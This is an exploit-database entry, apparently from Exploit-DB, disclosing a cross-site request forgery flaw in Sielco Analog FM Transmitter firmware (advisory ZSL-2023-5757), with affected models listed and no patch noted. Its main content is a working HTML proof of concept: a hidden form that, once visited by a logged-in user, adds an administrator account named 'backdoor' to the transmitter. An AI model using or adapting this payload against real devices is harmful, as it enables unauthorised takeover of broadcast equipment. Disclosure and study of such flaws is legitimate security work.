Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery

vendor:

Analog FM Transmitter

by:

LiquidWorm

7.5

CVSS

HIGH

Cross-Site Request Forgery

CWE

Product Name: Analog FM Transmitter

Affected Version From: 2.12 (EXC5000GX)

Affected Version To: 1.5.4 (EXC120GT)

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: lwIP/2.1.1, Web/3.0.3

2023

Sielco Analog FM Transmitter 2.12 – Cross-Site Request Forgery

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Source

Exploit-DB raw data:

<!--
## Exploit Title: Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery
## Exploit Author: LiquidWorm

Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
                  2.12 (EXC120GX)
                  2.11 (EXC300GX)
                  2.10 (EXC1600GX)
                  2.10 (EXC2000GX)
                  2.08 (EXC1600GX)
                  2.08 (EXC1000GX)
                  2.07 (EXC3000GX)
                  2.06 (EXC5000GX)
                  1.7.7 (EXC30GT)
                  1.7.4 (EXC300GT)
                  1.7.4 (EXC100GT)
                  1.7.4 (EXC5000GT)
                  1.6.3 (EXC1000GT)
                  1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: lwIP/2.1.1
           Web/3.0.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5757
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5757.php


26.01.2023

-->


CSRF Add Admin:
---------------

<html>
  <body>
    <form action="http://transmitter/protect/users.htm" method="POST">
      <input type="hidden" name="pwd0" value="" />
      <input type="hidden" name="pwd0bis" value="" />
      <input type="hidden" name="user1" value="" />
      <input type="hidden" name="pwd1" value="" />
      <input type="hidden" name="pwd1bis" value="" />
      <input type="hidden" name="auth1" value="" />
      <input type="hidden" name="user2" value="" />
      <input type="hidden" name="pwd2" value="" />
      <input type="hidden" name="pwd2bis" value="" />
      <input type="hidden" name="auth2" value="" />
      <input type="hidden" name="user3" value="backdoor" />
      <input type="hidden" name="pwd3" value="backdoor123" />
      <input type="hidden" name="pwd3bis" value="backdoor123" />
      <input type="hidden" name="auth3" value="2" />
      <input type="submit" value="Adminize!" />
    </form>
  </body>
</html>